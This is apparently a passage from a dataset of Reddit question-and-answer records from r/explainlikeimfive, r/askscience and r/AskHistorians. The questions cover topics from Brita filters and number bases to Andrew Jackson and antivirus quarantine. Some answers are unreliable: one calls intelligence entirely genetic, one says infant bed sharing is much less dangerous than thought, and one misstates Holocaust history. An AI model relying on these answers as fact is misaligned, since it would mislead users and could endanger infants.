\n\nThe exact cause and effect of the genetic process isn\u2019t well understood, so we\u2019re not sure how everything works out exactly, it\u2019s ongoing research.\n\nAn important thing to understand about intelligence is that it\u2019s an abstract property, meaning we can\u2019t truly measure it without many assumptions, but intelligence can fundamentally be defined as the ability to overcome entropy over time. To put it another way intelligence is just a structure which maximizes survival over time. Because we don\u2019t have a good definition of intelligence, we could even easily conclude that bacteria are currently more intelligent than humans. An asteroid, or other cosmic event could occur next week which wipes out all humans but preserves more durable forms of life like bacteria, meaning we were the less intelligent lifeform in reality. \n\nSo we don\u2019t know exactly what intelligence is or how specifically it\u2019s generated from genetic material. However, we can certainly say with hindsight all the life that no longer exist was less intelligent than the life which still exists, and life is defined by it\u2019s genetic structure. So intelligence isn\u2019t just influenced by genetics, it\u2019s entierly genetic. Most people\u2019s ideas of intelligence are just derived from assumptions, faith, and propaganda though. No person alive could truly define intelligence, we can just try to take our best guesses and get feedback over time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2dsu40", "title": "would filtering a coke using a brita result in water?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2dsu40/eli5_would_filtering_a_coke_using_a_brita_result/", "answers": {"a_id": ["cjsoxq3", "cjsp87a", "cjspe4i", "cjspi97", "cjspqhh", "cjspsax", "cjspv0l", "cjsqofv", "cjsr7a7", "cjsrrij"], "score": [42, 18, 3, 20, 3, 2, 11, 3, 2, 3], "text": ["In a similar vein, I used to work for a company called Zero Water, that made something like a Brita filter, but claimed it was better because they had a 5 stage filter instead of a 2 stage. Anyway, in one of their commercials, they filter red wine through their filter and it comes out as water.", "no You need a centrifuge and a distillery to turn any liquid to just water", "I'm fairly sure you need to distill in order to separate water from a solution.", "If I understand correctly, a Brita filter is just a mechanical filter, something with lots of tiny holes in it that lets liquids pass while stopping the small solids.\n\nIn Coke, the sugar (and perhaps flavourings and colour) are dissolved inside the water. They are not solid, they are in an \"aqueous\" state. This means they will pass right through the filter just like water. ", "Worked for piss in Waterworld.", "[Oko Filter](_URL_0_) \nI think this might answer your question slightly.  You can filter the color out of Coke, but as others suggested you can't filter the sugar out.  So you end up with clear sugar water.  Also it completely ruins the filter.", "Brita filters \"chelate\" certain compounds, such as chlorine or other particles of a certain size and charge.  For example, if the sandy pieces that make up a Brita filter are positively charged, they will bind negatively charged molecules that flow past it.  In Coke, the carbonate or phosphate might be filtered out because it's negatively charged, but sugar is a neutral charge (not ionic), so it would not.  Ethanol also does not have an ionic charge, so it would not be filtered out.\n\n_URL_0_\n\nPS apparently no one has checked to see that Brita does what it says it does", "you would get slightly acidic water if you filtered soda (the filter would act as nucleation points for the carbon dioxide, but at atmospheric pressure some would stay dissolved as carbonic acid).\n\nmost water filters are simple carbon filters. they won't meaningfully distinguish water from ethanol. the \"why\" of it is chemistry. more robust filters can, though.\n\nif you were to keep filtering any spirit, you would eventually end up with something akin to really bad vodka. ", "I actually did that last year. The coke just came out slightly diluted. If you did it enough times it would probably come out clearer, but I doubt you could get all the coke out that way. \n\nTry it if you're curious.", "Someone tried it and it didn't turn the liquid clear or to water.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://www.youtube.com/watch?v=A3IOJIk0Jeg"], ["http://en.wikipedia.org/wiki/Brita#Claims"], [], [], ["http://youtu.be/2SNOSdiNRNk"]]}
{"q_id": "evx6qr", "title": "how do you sing from your diaphragm as opposed to just singing?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/evx6qr/eli5_how_do_you_sing_from_your_diaphragm_as/", "answers": {"a_id": ["ffykz10"], "score": [4], "text": ["Im so bad at explaining these things specifically even though I went to a performing arts school for three years for the voice. So with me personally, to sing from my diaphragm is to engage the area under my ribcage. It feels like you tighten a muscle and in return it produces a fuller/cleaner sound. My instructor would refer to it as engaging your \u201ccore\u201d. It was like working out when I engaged my core, I remember being physically sore after numerous consecutive days of class. But when i worked this muscle (idk if it can be considered that?) out my voice got better, I could project my voice further. \n\nAnyone can sing, but a vocalist has control, and there\u2019s many things to learn/do in order to control your voice. The diaphragm is basically one of the things that people have to learn to control in order to produce a better sound. \n\nI hope this helps honestly Im sorry this is so unorganized and scatterbrained  !!!!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8d5cvd", "title": "Andrew Jackson is credited with saying \"I have only two regrets: I didn't shoot Henry Clay and I didn't hang John C. Calhoun.\" What was the nature of his relationship with both men that made him hate them so much?", "selftext": "In other words, what did they do to him that caused his utter disdain.  I like to think I know a lot about Jackson, but this is an area I'd like more info in.  Thanks!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8d5cvd/andrew_jackson_is_credited_with_saying_i_have/", "answers": {"a_id": ["dxlj855", "dxlr7b0"], "score": [284, 27], "text": ["John C. Calhoun and Andrew Jackson were uneasy allies at the beginning of Jackson's presidency. Calhoun was John Quincy Adams' VP, though he essentially ran separately as VP, instead of as Adams' running mate. Calhoun won the VP slot handily, while the POTUS spot in 1824 was decided by the House of Representatives.\n\nDuring Adams' presidency, Calhoun became an outspoken critic of what he considered to be trampling on \"states' rights\". Calhoun was a leading voice in support of slavery, which colored his views on Adams' pro-federal policies.\n\nIn reaction, Calhoun then threw his support behind Andrew Jackson in 1828, and then became his running mate. Jackson won, and Calhoun won a second term as VP, though, uniquely, under a President of a different party than his first term.\n\nBut shortly after Andrew Jackson took office, the Petticoat Affair occurred. Andrew Jackson had appointed John Eaton, senator from his home state of Tennessee, to serve as the Secretary of War. But there was a problem. Eaton was married to Peggy (n\u00e9e O'Neale), whose father owned a \"hotel\" in Washington DC called the Franklin House that had long been a hangout for powerful Washingtonians, including Congressmen and Cabinet members. It was less a hotel, really, than a drinking establishment, and possibly a brothel as well, though in any case, Peggy had been a regular face at the hotel since she was a little girl, having grown up there. By the time she was a teenager, she was privy to a lot of Washington secrets, and was known as a flirt, and so was not exactly viewed by the powers-that-be in DC as a member of high society. In addition, because of her unique position in Washington, she was not one to hold her tongue on political issues. If she felt a certain way, she would express it, having learned to hold her own in these behind-the-scenes conversations.\n\nSo when Peggy Eaton's husband John was appointed Secretary of War, all the other Cabinet wives shunned her, and this shunning was organized by John Calhoun's wife Floride. Back when social customs among high society were a lot more formal, the Eatons were not invited to parties, did not receive visits from other Cabinet members or members of Congress, and were not received when they went to pay calls on others.\n\nThis angered Andrew Jackson, and he blamed the Calhouns particularly for orchestrating it. He was angry in part because Jackson's wife [had also been dragged through the mud](_URL_3_) not long before. During the 1828 campaign, Rachel Jackson was accused of bigamy, which was technically true. She had been married before Andrew, but her first husband was abusive and she left him, and was told he had secured a divorce. She went ahead and married Andrew, but it was later revealed that the divorce had never been granted, so once it was, she had to get married to Andrew again--this after they'd had their first children.\n\nIt had long been a sore point for Andrew, and when it became a political controversy, he thought it was unfair, and he blamed it specifically for his wife's death. She died in December 1828, after Andrew Jackson won the election but before he took office.\n\nAnd then a few months later, John C. Calhoun and his wife were pulling the same stunt on the Eatons. And it pit nearly all of Jackson's Cabinet against him early in his presidency.\n\nOnly a couple of Cabinet members stayed loyal to Jackson through the Petticoat Affair, notably Secretary of State Martin Van Buren, the lone widower among the Cabinet, so he had no wife to join in the fray. He provided cover for Jackson by offering to resign, which allowed Jackson to ask for the resignations of all the anti-Eaton Cabinet members as well. They all resigned, except Calhoun who was VP and had been elected. Jackson then appointed Eaton to be the Minister to Spain, to get him out of Washington, and appointed Van Buren to be Minister to the UK. And then when Jackson ran for re-election, Van Buren became his new running mate. But John C. Calhoun remained Vice-President, to the great annoyance of Jackson, and even opposed Van Buren's UK minister nomination. \n\nThere was another sore point between them early in Jackson's presidency: the \"Tariff of Abominations\". Under J.Q. Adams, a tariff had been passed that was meant to help industrialists, but Calhoun didn't like it because he thought it disproportionately affected Southern slave owners. He worked with Congress to get the language changed in the bill so that it would affect the North just as much as the South, thinking that Adams would then abandon support. But he didn't, and continued to champion the tariff, and it passed.\n\nThis was one of the things that soured Calhoun on Adams, so when he ran with Jackson, the repeal of the tariff was high on Calhoun's list. But Jackson surprised Calhoun by throwing his support behind the continuation of the tariff, which infuriated Calhoun. Calhoun then started speaking out publicly against Jackson's policies whenever one came up that he didn't agree with.\n\nThis tariff then led to the Nullification Crisis of 1832. After an additional tariff was passed, South Carolina stated they would not honor either one, relying on a \"state's rights\" argument that they could nullify any federal law that they pleased. Calhoun supported South Carolina's position, while Jackson did not and took bold action. He got approval from Congress to essentially dissolve the customs houses in Charleston that were run by the South Carolina state government, and replaced them with federal appointees to take over customs of foreign imports at the port of Charleston.\n\nBy this time, Calhoun had finally resigned his seat as VP, so that he could run for Senate where he could better champion nullification. The issue was finally resolved uneasily in 1833 when Calhoun (now in the Senate) and Whig leader Henry Clay were able to pass a new tariff that would replace the older tariffs, and the new tariff would placate the concerns of the Southern states. But from a longer view of U.S. history, this put off the question of \"state's rights\" for another 25 years, a contentious issue that contributed to the breakdown of North/South relations that culminated in the Civil War.\n\nBy the end of Andrew Jackson's presidency in 1837, he and Calhoun were essentially political rivals, despite both being members of the Democratic Party and both being Southerners. This, in spite of Jackson's rather pro-slavery position, but a position that wasn't good enough for John C. Calhoun. Calhoun was probably the most vehement pro-slavery politician of his time, and maybe in all of U.S. history. At the end of Jackson's presidency, Calhoun gave [a famous pro-slavery speech on the floor of Congress](_URL_1_), calling slavery \"a positive good\". This showed where Calhoun's faction of the Democratic Party stood as the incoming Democratic President, Martin Van Buren, a New Yorker, was already seen as wobbly on the slavery issue. (Van Buren was personally opposed to slavery, but was willing to compromise on the issue, out of fear the issue was going to split the U.S. in half. After his presidency, he became vocally anti-slavery, beginning with a failed bid in 1848 to regain the Democratic nomination for President, and published the Barburner Manifesto, where he stated that the Founders had been against slavery and that slavery should not spread to the territories as those territories were being divvied up as new states.)\n\nThere was one last butting of the heads between Andrew Jackson and John C. Calhoun. Jackson had long been in favor of term limits for the President, and spoke about the issue in most of his State of the Union speeches, favoring a single term of six years for the presidency. He had promised to keep the tradition of limiting his tenure to two terms, as many of his predecessors had, but as 1836 dawned, a rumor began to spread  that Jackson would be open to the idea of a third term \"only\" if war broke out with France.\n\nCalhoun took the rumor seriously, and used his influence in Washington to put the kibosh on any third term for Jackson. Calhoun [suggested Jackson was planning on starting a war with France in order to hold onto power](_URL_2_). Of course, this didn't pan out, and the rumor that Jackson would possibly accept a third term may have been just that: a rumor. In any case, it was an effort by Calhoun to tarnish Jackson's image and paint him as a tyrant, which Jackson did not at all appreciate.\n\n**TL;DR: John C. Calhoun was one of the leading pro-slavery voices of his era, and strictly adhered to the social order of high society in Washington D.C. These positions led to the Petticoat Affair, orchestrated by Calhoun's wife, and, indirectly, to the Nullification Crisis of 1832-33, where Calhoun championed South Carolina's position over the Jackson-led federal government. Calhoun and Jackson became bitter political rivals, despite both being members of the same political party, leading Andrew Jackson to state that he regretted he'd never got a chance to hang Calhoun.**\n\nI'll leave it to someone else to go into detail about Henry Clay.\n\n[Andrew Jackson](_URL_0_) by William Graham Sumner\n\n[The Petticoat Affair: Manners, Mutiny, and Sex in Andrew Jackson's White House](_URL_5_) by John F. Marszalek\n\n[A Critical Study of Nullification in South Carolina](_URL_4_) by David Franklin Houston\n\n[The Autobiography of Martin Van Buren](_URL_6_) by Martin Van Buren\n\n[The Papers of John C. Calhoun: 1835-1837](_URL_2_) ed. by the South Caroliniana Society", "A partial explanation for Jackson's hatred of Clay stems from Clay's role in the Election of 1824. \n\nThe Election of 1824 was unique in that there were four presidential candidates of national renown: Andrew Jackson, then Senator from Tennessee, Henry Clay, Congressman from Kentucky, William H. Crawford, Secretary of the Treasury from Georgia, and John Quincy Adams, Secretary of State from Massachusetts. \n\nEach candidate had enough of a following to render none of them the necessary electoral votes for victory. Jackson had garnered the highest amount of votes in the popular vote. The 12th amendment prescribed that in this situation, however, that the winner of the election would be decided by a vote in the House of Representatives.\n\nThis resulted in a surprise victory for Adams over Jackson. An irate Jackson accused Adams and Clay of participating in a \"corrupt bargain\" in which Clay would would throw the support of representatives loyal to him behind Adams in return for his appointment as Secretary of State (seen at the time as sort of a \"grooming\" position for the presidency). Jackson believed he had the genuine support of the electorate and that he was robbed of his rightful position by underhanded politicking at the hands of vested elite interests. \n\nClay was also crucially from the same \"section\" (West) as Jackson and differed with him on key issues (Indian removal, expansion of slavery, tariffs, etc.) so there was a natural rivalry to be a sort of \"spokesman\" for this region that ensued.\n\nFurther Reading:\n\n*What Hath God Wrought* by Daniel Walker Howe"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://books.google.com/books?id=ZgEVAAAAYAAJ&amp;dq=calhoun&amp;pg=PA196", "https://en.wikisource.org/wiki/Slavery_a_Positive_Good", "https://books.google.com/books?id=B_oWAQAAIAAJ&amp;dq=third+term", "https://muse.jhu.edu/article/572973/pdf", "https://books.google.com/books?id=-XssAAAAIAAJ&amp;pg=PA33&amp;dq=calhoun", "https://books.google.com/books?id=euL5ZJPW-4kC&amp;q=peggy+eaton#v=snippet&amp;q=peggy%20eaton", "https://books.google.com/books?id=p4ksAAAAIAAJ&amp;dq=calhoun%20eaton&amp;pg=PA395"], []]}
{"q_id": "1b293c", "title": "If I were to take all the energy I get from eating in a day and converted that energy into an explosion, how big would said explosion be?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1b293c/if_i_were_to_take_all_the_energy_i_get_from/", "answers": {"a_id": ["c92wjk5", "c92wnjp", "c92wsld", "c92x3zv", "c932dlt", "c93b89s"], "score": [21, 50, 2611, 44, 3, 5], "text": ["Enough to heat 2 cubic meters of water by one degree.", "1 gram of TNT equivalent is [defined](_URL_0_) as being equal to 1kcal, so if the average adult consumes 2500kcal per day that works out equivalent to 2.5kg of TNT. A nice little explosion.", "This is a cool question!\n\nAnd there's even an easy answer.  So if you eat 2,500 Calories in a day, that's 2,500 kilocalories (energy calories rather than food calories).\n\nConveniently, one gram of TNT has been set to equal one kilocalorie (even though a gram of TNT has a slightly variable yield, there's a standard \"TNT equivalent gram\").  That means your 2,500 Calories are the same as 2.5 kg of TNT.\n\nWhich is a lot!  That's the same as almost 44 WWII hand grenades!  \n\nNow, how much damage would it do?  That's a complicated question.  There's a lot of experimental data on 1 kg TNT explosions. Fortunately, it's easily scalable.  I'm going to use the Sadovsky formula for the blastwave formula for a TNT explosion on Earth's surface at standard atmospheric pressure.\n\nThat formula is: \n\n    \u0394p=0.95((m^1/3)/r)+3.9(((m^2)^1/3)/r^2)+13(m/r^3)\n\nWhere m is mass in kg, r is distance from blast in m, and overpressure (\u0394p) is in atm.\n\nAt one meter, the Sadovsky formula gives us a peak overpressure of 41 atm ~ 41 kg/cm^2  That's enough for instant death.  At 2 m, that's about 6.7 atm, which is still lethal.  At 3 m, 2.5 atm is not likely to be lethal.  It continues from there, getting progressively less lethal.\n\n**BONUS FACT:**\n\nA 200 pound man might have 30 pounds of fat (more if you're fat, less if you're fit).  This is 122400 Calories: 122.4 kg TNT equivalent.  At that amount, you'd have to go out a whole 11 m before you get down to that 2.5 atm non-lethal level that you get from a day's worth of calories at 3 m.\n\n**EVEN MORE BONUS:**\n\n[CanaMcPain](_URL_1_) asked: *So how big would the explosion be if we took all the energy in an average human life?*\n\nUsing the recommendations for a male child up to the age of 18, and then assuming he lives until the age of 80, eating 2200 calories every day, it's 60517000 calories, or that same number of g TNT.  Which is enough to run a clothes dryer for 80 years, coincidentally.\n\nAssuming it was a female child who grew up to be 86 and ate 1800 calories/day as an adult, that's 54020000 calories/g TNT equivalent, or 70 years of dry clothes.\n\nBut still only the total relativistic energy of 2.5 milligrams of matter.  An average mosquito, turned into energy, could power you for your whole life.\n\n**LET'S KEEP THIS GOING:**\n\nWhat about the entire world?  The UN estimates somewhere around 2750 kcal/person/day globally.  Multiplying by population, that means every day the world consumes 19,177,780,690,750 kcal: 19 trillion calories.  Which as we know, is 19 trillion g TNT equivalent.  That's a largish atomic bomb, or half a Krakatoa eruption. On the other hand, we're up to the relativistic energy of just under a kilogram of matter.  Not too bad!\n\nIn a **year**, the planet eats close enough to 7 quadrillion calories as makes no difference.  Which is a whole lot: 7 gigatons TNT!  But that's only a quarter of the 2004 Indian Ocean earthquake's energy. We're puny!\n\n**THE FINAL COUNTDOWN:**\n\n*It's about to get arbitrary in here.*\n\nHow much energy have all the people who have ever lived consumed?\n\nThis is going to involve a lot of assumptions.  The fine folks at the Population Reference Bureau estimate that there have been 106 billion people.  Assuming their average lifespan is really hard, but we'll set it arbitrarily at 55.  And we'll also say (arbitrarily) they ate 2000 calories a day.  Those numbers might be high or low, but they're probably not *super* far off.\n\nThat's 4,255,900,000,000,000,000 calories: Four and a quarter quintrillion g TNT.  That's a lot!  Half the world's fossil fuel reserves!  More than the whole planet's total daily solar energy intake.\n\nWe're up to 200,000 kg relativistic mass, too!  Which is... a half-loaded 747, entirely turned into energy.  And only a tiny tiny fraction of the sun's total output every second.  In the scheme of things, we're still insignificant.\n\nAs an aside, [Ph0ton](_URL_0_) asked how many people the sun could support.  The Sun's total output for a year would support 3.274\u00d710^24 people, if all of that energy was convertible to food calories, and we needed 2500 Calories each.  Which it's not, not even close.  But let's say it was.  And let's say we built a Dyson sphere around the Sun to support all these people.  A sphere surrounding the Sun at Earth's distance from the sun is massive, obviously.  But that many people still come out to a population density of 11.64 *million* people per square kilometer, around the entire sphere.\n\nA couple more people have asked about the total mass of food produced.  The [FAO](_URL_2_) estimates that we eat about 2 billion tons annually, with another 1.3 billion tons or so wasted.  \n\n*edit*: I fixed a serious order-of-magnitude error.  [Thanks, ztrand.](_URL_3_)", "It's the same as the amount of energy required to throw a 70-kg person 12km into the sky (if you ignore wind resistance).  I just used E = mgh and 2000 kcal.", "I found [this](_URL_0_) video a few days ago that demonstrates your question, although I don't know how scientific it is.", "This might interest you: \n\n\nIf the body was 100% efficient in converting food mass into energy, not only would there be no waste, but a 1 lb (.45kg) meal, if completely digested would yield 9.7 X 1012 Calories (4.0443983 \u00d7 1016 joules).... or about 10 megatons of TNT equivalent energy, likely vaporizing everything in the local vicinity and irradiating the countryside for miles around.\nSo in the case of 100% efficiency, its more likely that feces will burn* you, your house, neighborhood, and probably most of your city around you, instead of you being able to burn the feces.\n*burn meaning vaporization, ionization, heavy irradiation and quite possibly causing local nuclear fission/fusion reactions, in addition to traditional oxidization depending on proximity to the digesting food.\n\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://physics.nist.gov/Pubs/SP811/appenB8.html#T"], ["http://www.reddit.com/user/Ph0ton", "http://www.reddit.com/user/CanaMcPain", "http://www.fao.org/docrep/014/mb060e/mb060e00.pdf", "http://www.reddit.com/r/askscience/comments/1b293c/if_i_were_to_take_all_the_energy_i_get_from/c936d6r"], [], ["https://www.youtube.com/watch?v=rcFFj2D4jt0"], ["http://www.reddit.com/r/askscience/comments/14bdmj/do_all_people_absorb_the_same_amountratio_of/c7brmlv"]]}
{"q_id": "40z81t", "title": "why are we drawn to abandoned buildings, such as those seen on /r/abandonedporn?", "selftext": "Is it just because they make us feel nostalgic, or is it something else? I know this is opinion based, but I can't explain what it is about pictures on /r/abandonedporn (SFW) that I, and seemingly many others, like. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/40z81t/eli5_why_are_we_drawn_to_abandoned_buildings_such/", "answers": {"a_id": ["cyyagwe"], "score": [2], "text": ["I have no idea, really. Nostalgia, letting us use our imagination, finding it beautiful or haunting, reminding us of our impermanence, etc, are all perfectly valid reasons. There is an abandoned prison I got to go explore and it was amazing. And creepy. But amazing. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2q43gh", "title": "Can a person become fluent in a second numerical base system (e.g. Binary or Octal)?", "selftext": "I once tried to learn to become ambidextrous. It seems that nothing beats years and years of exposure and practice, especially as a developing child. \n\nCould someone learn to perform mathematical functions in a second numerical base, beyond simply converting and processing in his/her native base (probably base 10)?\n\n*EDIT: Not sure if mathematics or neuroscience. It seems the grossly unanimous use of a base 10 system means that it's a neurological thing?*", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2q43gh/can_a_person_become_fluent_in_a_second_numerical/", "answers": {"a_id": ["cn2nzu4", "cn2olr0", "cn2yjmn", "cn2z6kx", "cn306xs", "cn32fiv"], "score": [38, 10, 4, 9, 7, 3], "text": ["While I can't speak to the neurology of how the brain understands math, I can speak to the fact that people have used other bases at other points in history. \n\n[The Babylonians, for example, used a base 60 numerical system which we call sexagesimal](_URL_0_), and believe it or not, you use this base every day. Every time you look at a clock that gives you hours:minutes:seconds, you are reading a sexagesimal number. It is from the Babylonians that we inherit a bunch of crap about 60, like the number of degrees in a circle (6x60=360) and the number of minutes in an hour, etc. \n\nSexagesimal had a few cool advantages, especially for such an early civilization that didn't have modern math. For one thing, they didn't fully understand the rational numbers, or decimal places. Instead, to build numbers less than one they used a composite of fractions, which would let them get pretty close. [This base is great for this kind of thing because 60 has so many factors.](_URL_0_#Fractions)\n\nI for one would like to believe I'm proficient with binary. [For example, I can count to 31 on one hand in binary, and 1023 if I use both...](_URL_2_) (I was bored and my code was taking a long time to run, don't judge me)... but that's exactly what you have to do to get good at anything, isn't it? I can count in binary on my hands because I've practiced it. There's nothing stopping me from sinking just as much time into getting quick with binary arithmetic either. \n\nSo even though I am not neuroscientist, I still think there is nothing in the brain that stops us from learning more than base for counting and arithmetic other than our own stubbornness, in the same way that the only thing standing in the way of me and fluent Latin is the amount of time I'd have to sink into it. \n", " > Could someone learn to perform mathematical functions in a second numerical base, beyond simply converting and processing in his/her native base (probably base 10)?\n\nYeah. It's actually easier to just stay in whatever base you're in, since it's sort of a pain in the ass to do base conversion. If you asked me to do 10010101 + 101001100101, I wouldn't even bother trying to figure out what numbers those are, I'd just do the sum.\n\nThe processes you do to perform arithmetic don't change when you change bases. If you're doing addition, for example, the process is still just to write the numbers so they're on top of each other, add column by column from right to left, and carry over to the next place if there's an overflow. What base you're in is completely irrelevant to the fundamentals of that process.\n\nNot a neurologist or anything, I'm just speaking from my personal experience in doing non-decimal arithmetic (binary and hex).", " > It seems the grossly unanimous use of a base 10 system means that it's a neurological thing?\n\nBase 10 numerical systems aren't a universal in human language actually, with [Yuki](_URL_3_) having a base 8 system and [Telefol](_URL_2_) having a base 27 system. There are also languages with incomplete numerical systems, like [Hadza](_URL_0_) which only had terms for 1, 2, 3, and 4 with anything greater falling under the equivalent term for \"many\", and there is a anumeric language, [Pirah\u00e3](_URL_1_), which relies only on delineating relative quantity, like with equivalents to \"many\" and \"few\". With this in mind, it's pretty obvious that base 10 numeration is not something inherently neurological, although obviously any human can be consciously numerate. I can't speak to how mathematical operations are performed neurologically, but it seems evident that the brain can learn to use many systems of representation and that it appears to be a learned trait, not a inherent one.", "As a computer engineering student, i can work in hexadecimal and binary as easy as i can in base 10. Once you understand how a number system works its as straightforward as base 10", "It seems probable that base-10 is so widely used mainly because it corresponds to the number of fingers on two hands.\n\nPeople use all sorts of counting systems. Why does a clock face have 12 hours and not 10? I suggest it may have to do with the prime factorization of 12: 2*2*3. You can look at a clock face and visually divide it in halves, thirds, quarters, or sixths. Convenient. Base 60 introduces a factor of 5 to augment your options. You can slice an hour into 15-minute quarters, 12-minute fifths, etc.\n\nSimilarly, the much-maligned \"imperial\" system of weights and measures is based in large part on halves and thirds, which are easy to work with visually while sawing wood or baking bread. How often do you see people voluntarily slice a pie in ten pieces? Nope; it's 6, 8, or 12, every time. Bisecting and trisecting are much easier tasks than quint-secting.\n\nTo your original comment though, arithmetic with weighted-positional notation (where tacking on a zero at the end increases the magnitude of the whole number) works the same in any natural-numbered base (except base-1, which is absurd). You need a set of symbols large enough to describe all the magnitudes from 0 to N-1, where N is the base. You can train yourself to think natively in any base you can conceptualize.\n", "Sure. You are probably fluent in base 60 because you use it everyday telling the time mm:ss. Two other common ones in the computer sciences are base 2 and base 16. I'm in and out of base 2, 16, 10, and 60 most work days all day. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Sexagesimal", "http://en.wikipedia.org/wiki/Sexagesimal#Fractions", "http://en.wikipedia.org/wiki/Finger_binary"], [], ["https://en.wikipedia.org/wiki/Hadza_language#Numbers", "https://en.wikipedia.org/wiki/Pirah%C3%A3_language#Numerals_and_grammatical_number", "https://en.wikipedia.org/wiki/Telefol_language", "https://en.wikipedia.org/wiki/Yuki_language"], [], [], []]}
{"q_id": "4e3m7j", "title": "why is a privacy policy or terms of use needed for a website?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4e3m7j/eli5_why_is_a_privacy_policy_or_terms_of_use/", "answers": {"a_id": ["d1wq7gs"], "score": [4], "text": ["Many web sites collect personal data about their users, and a terms of use and/or privacy policy protects the website's ability to monetize that data."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4bcalr", "title": "Did Hitler portray his full plan to exterminate the Jews right from the beginning of his public political campaign, or was it in stages, progressing from mere restrictions to the more dire plans?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4bcalr/did_hitler_portray_his_full_plan_to_exterminate/", "answers": {"a_id": ["d1806zg"], "score": [3], "text": ["No.  He never expressly gave a command to kill the Jews or shared his plans with the German public, although he did not hide his anti-semitism.  He had three plans before coming up with the final solution.  One was shipping the Jews to Madasgar.  This would have been fairly easy as France controlled Madgascar and Germany had conquered France.  Another option would be shipping them off to Israel (then Palastine).  This would have been more difficult as England controlled Palestine at the time.  A third option would be ship them off to Siberia where they would starve to death--Hitler was a big fan of starving people to death.  His plan for the Soviets was also to ship them off to Siberia and starve them to death.  He was not able to do this, as the Red Army won the Great Patriotic War aka the Eastern Front of the Second World War.\n  \nHimmler knew what Hitler wanted, even though Hitler never gave Himmler the command.   The Final Solution was revealed to the German military command at the Wannsee conference of January 1942.  A conference neither Hitler or Himmler attended.  Most of this comes from Ian Kershaw's *Hitler: A Biography*--the abridged version.  Some from the BBC movie *Conspiracy*, which is based on the only surviving transcript of the minutes from the Wannsee conference.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "a6skvu", "title": "how does room sharing reduce the risk of sids?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a6skvu/eli5_how_does_room_sharing_reduce_the_risk_of_sids/", "answers": {"a_id": ["ebxldxr", "ebxp6t4", "ebxqqqf"], "score": [3, 5, 5], "text": ["Probably the higher chance of realizing the problem. Especially if both presents are present, even if they are sleeping.", "There are a lot of theories but no one is 100% certain about this.\n\nThe main theories are 1) The baby sleeps less deeply because of regular noise in the room. It may regulate its breathing by hearing the parent(s) breaking 2) There is a slightly higher % of CO2 due to parent(s) respiration, prompting baby to breathe.", " >  I know bed sharing is a big no-no\n\nNot actually true anymore. Recent research indicates that sleeping in bed with an infant is much less dangerous than previously though.\n\nA new hypothesis is that parents under the influence of drugs or alcohol are largely responsible for deaths when co-sleeping.\n\n & #x200B;"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "5mva0f", "title": "where do viruses go when they are quarantined, but not deleted?", "selftext": "How are they kept in the computer without further damaging the machine or running?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5mva0f/eli5_where_do_viruses_go_when_they_are/", "answers": {"a_id": ["dc6o2xd", "dc6q4wc"], "score": [5, 14], "text": ["Virus applications vary in their methods.\nOne method I've seen is that the application will 'delete' the file from the current existing location.  What may actually happen is the virus application will move the file to a secure location (determined by the virus application), rename it, and log it as a quarantined file.  In this way, the file is still available to the virus application and is now secured so it cannot propagate or run on its own.  This is due to a possible false-positive detection.  Likely the file could be cleaned also, depending on the virus and/or strain.\n\nWhen you open and review any files your virus application has quarantined, you could review, and if needed either restore the file or delete the quarantined file (along with many others).", "Most anti-viruses do it very similarly. Here's what Symantec/Norton anti-virus does:\n\n1. Load the malicious file into memory.\n2. Encrypt it with a simple algorithm. (Something similar to subtracting 10 from every byte. So if the virus's code looked like KLM, the encrypted version would become ABC.)\n3. Move the encrypted version to some folder like C:\\Symantec\\Quarantine.\n4. Delete the original file.\n\nThe encrypted version is basically rendered inert; it's as if it's been deleted. The bytes in the file are completely different and cannot be run, opened, viewed, etc. If you open Symantec and view the quarantine folder, you can choose to restore it, which just means decrypting it and moving it back to its original location.\n\nThis is also why ransomware malware is effective. By encrypting every file on your computer and throwing away the key (retaining a copy for themselves, privately), they've effectively made everything inert, as if they deleted all your files. By paying money, they can send the key back to you."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
